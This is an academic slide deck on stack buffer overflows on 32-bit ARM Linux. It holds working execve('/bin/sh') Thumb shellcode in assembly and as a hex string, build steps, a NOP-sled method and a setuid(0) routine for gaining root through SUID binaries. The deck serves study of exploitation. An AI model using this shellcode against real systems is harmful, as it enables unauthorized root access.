

Introduction to Stack Overflows on ARM

COIS 4901H: Advanced Reading Course

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
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Exploit Development & Mitigation

- ▶ Covered several chapters of *The Shellcoder's Handbook* involving exploit development on Linux
- ▶ Knowledge gained:
 - Stack and Heap based buffer overflows
 - Shellcode development techniques
 - String Format bugs
 - Program auditing and debugging
 - Exploiting vulnerable programs
- ▶ The course text covered the 32-bit x86 Intel architecture
 - We expanded upon the ideas and applied them to the 32-bit ARM architecture




ARM Architecture

- ▶ ARM is a family of Reduced Instruction Set Computing (RISC) based processors
- ▶ RISC architecture generally requires fewer transistors than Complex Instruction Set Computing (CISC) such as x86. This improves cost, power consumption and heat dissipation
- ▶ Supports 16-bit instruction set called THUMB mode
 - Improves code density, reducing binary file size
 - Useful for embedded applications where memory footprint matters

Why Linux? Why ARM?

- ▶ Estimated to be over 75 **BILLION** IoT devices in 2025
 - Over 70% of these devices will be running Linux
 - Vast majority of these devices will be running on ARM processors
- ▶ All the phones in this room are very likely using ARM processors



Estimated growth of IoT devices 2015-2025 [statista.com]


Important ARM Registers

- ▶ R0-R10 (**General Purpose**)
 - Used to store instructions, data, and addresses
- ▶ R11 (**Frame Pointer**)
 - Holds the pointer to the current stack frame
- ▶ R12 (**Intra-procedure Call Scratch Register**)
 - Used by a subroutine to store temporary data.
- ▶ R13 (**Stack Pointer**)
 - Holds the pointer to the top of the stack
- ▶ R14 (**Link Register**)
 - Holds the return addresses whenever a subroutine is called
- ▶ R15 (**Program Counter**)
 - Holds the address of the next instruction to be executed

The Stack

Function Prologue

```
push    {fp, lr}  
add     fp, sp, #4  
sub     sp, sp, #20
```



- ▶ We will discuss the Function Epilogue on the next slides

Stack Overflows (1)

- ▶ Stack overflows occur when a program tries to write data to a buffer located within a stack frame without checking if the data fits into the buffer.
- ▶ C compilers don't do bound checking and at most only warn programmers of vulnerable code
- ▶ Some common vulnerable C functions are:
 - strcpy
 - gets
 - sprintf
 - memcpy
- ▶ How can we take advantage of a program that allows stacked based buffer overflows?

Stack Overflows (2)

Function Epilogue

(Restore PC)

```
sub    sp, fp, #4
```

```
pop    {fp, pc}
```

or

Function Epilogue

(Branch & Exchange)

```
sub    sp, fp, #4
```

```
pop    {fp, lr}
```

```
bx     lr
```

- ▶ Overflow the return address (which exists on the stack) of the called function
- ▶ Redirect program flow to memory address of our malicious code

Shellcode (1)

- ▶ Small piece of code that can be injected into a vulnerable program
- ▶ Assembly instructions can be decoded into numerical values called opcodes
- ▶ Opcodes can be escaped and stored in a hex string, becoming **shellcode**
- ▶ Shellcode commonly makes use of Linux system calls
- ▶ Shellcode can be stored directly in program memory or in a Linux environment variable
- ▶ Strings in C are NULL-terminated, shellcode should not have any NULL bytes

```
mov r2, #0      @ BAD, contains null bytes
eor r2, r2, r2  @ GOOD, achieves same thing without null bytes
```

Shellcode (2)

Example of **execve** assembly code using PC-relative addressing

```
.text
.global _start

_start:
    .code 32
    add r3, pc, #1          @ Add 1 to PC register and add it to r3
    bx r3                  @ Branch and exchange to switch to Thumb mode (LSB = 1)

    .code 16
    @@@ execve("/bin/sh", ["/bin/sh"], NULL); @@@
    adr r0, shell           @ Use program-relative addressing to load our string into r0
    eor r2, r2, r2          @ XOR r2 with itself, zeroing it out
    strb r2, [r0, #7]       @ Overwrite the last byte (X) in r0 to be NULL
    push {r0, r2}           @ Push r0 ("/bin/sh\0") and r2 (NULL) onto the stack
    mov r1, sp              @ Store address of sp (top of stack) into r1
    mov r7, #11             @ Store syscall for execve (11) in r7
    svc #1                  @ Interrupt to make a supervisor call
    mov r5, r5              @ NOP instruction for proper alignment

shell:
    .ascii "/bin/shX"
```

Shellcode (3)

- ▶ Assemble

```
as shellcode.s -o shellcode.o
```

- ▶ Link (-N makes .text section writable)

```
ld shellcode.o -N -o shellcode
```

- ▶ Create raw binary file

```
objcopy -O binary shellcode shellcode.bin
```

- ▶ Extract opcodes

```
hexdump -v -e '"\\\\"x" 1/1 "%02x" "' shellcode.bin
```

- ▶ Injectable **execve** shellcode:

```
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x03\xa0\x52\x40\xc2  
\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x2d\x1c\x2f\x62  
\x69\x6e\x2f\x73\x68\x58
```


NOP Sled

- ▶ Store the shellcode in an environment variable and overflow the return address of a vulnerable function with the address of the environment variable
- ▶ Determining the **exact** address of the environment variable can be quite difficult and alignment issues may cause problems
- ▶ Use (N)o-(OP)eration (NOP) instructions to pad the shellcode
- ▶ All that is needed is to land within the NOP sled
- ▶ **MOV** instruction can be used as a NOP on ARM

```
mov    r1, r1
```

Linux Privilege Escalation (1)

- ▶ All files on Linux systems have specific permissions
- ▶ Special file permission bits such as Set User ID (SUID) and Set Group ID (SGID)
- ▶ SUID bit allows the user to run a program as the owner of the program file rather than as themselves
- ▶ Very dangerous if set on a vulnerable program



Source: linuxcommand.org

Linux Privilege Escalation (2)

- ▶ We can escalate our privileges to root by injecting our shellcode into a vulnerable SUID executable
- ▶ If SUID bit is set, the **setuid** system call must be made explicitly before privilege escalation can occur
- ▶ We can add a **setuid** system call to our shellcode

```
.code 16
@@@ setuid(0); @@@
eor r1, r1, r1      @ XOR r1 with itself, zeroing it out
mov r0, r1          @ Move r1 (0) into r0
mov r7, #23         @ Store syscall for setuid (23) in r7
svc #1              @ Interrupt to make a supervisor call
```

Demonstration

What's Next?

- ▶ Use Return Oriented Programming (ROP) Gadgets to bypass non-executable stack
- ▶ Find ways to bypass Address Space Layout Randomization (ASLR) and other modern security mechanisms
- ▶ Create shellcode that works remotely (reverse shells)
- ▶ Encode shellcode to avoid IDS/IPS filters

References (1)

- ▶ **Official ARM Developer Website**
<https://developer.arm.com/products/architecture>
- ▶ **The Shellcoder's Handbook: Discovering and Exploiting Security Holes** by Chris Anley, John Lindner, and Gerardo Richarte
- ▶ **Hacking: The Art of Exploitation** by Jon Erickson
- ▶ **Azeria Labs**
<https://azeria-labs.com/>
- ▶ **A Short Guide on ARM Exploitation**
<https://www.exploit-db.com/docs/english/24493-a-short-guide-on-arm-exploitation.pdf>

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- ▶ **Exploit Database: ARM execve shellcode**
<https://www.exploit-db.com/exploits/45290/>
- ▶ **ARM shellcode and exploit development by Andrea Sindoni**
<https://github.com/invictus1306/Workshop-BSidesMunich2018>
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- ▶ **Estimated growth of IoT devices**
<https://www.statista.com/statistics/471264/iot-number-of-connected-devices-worldwide/>
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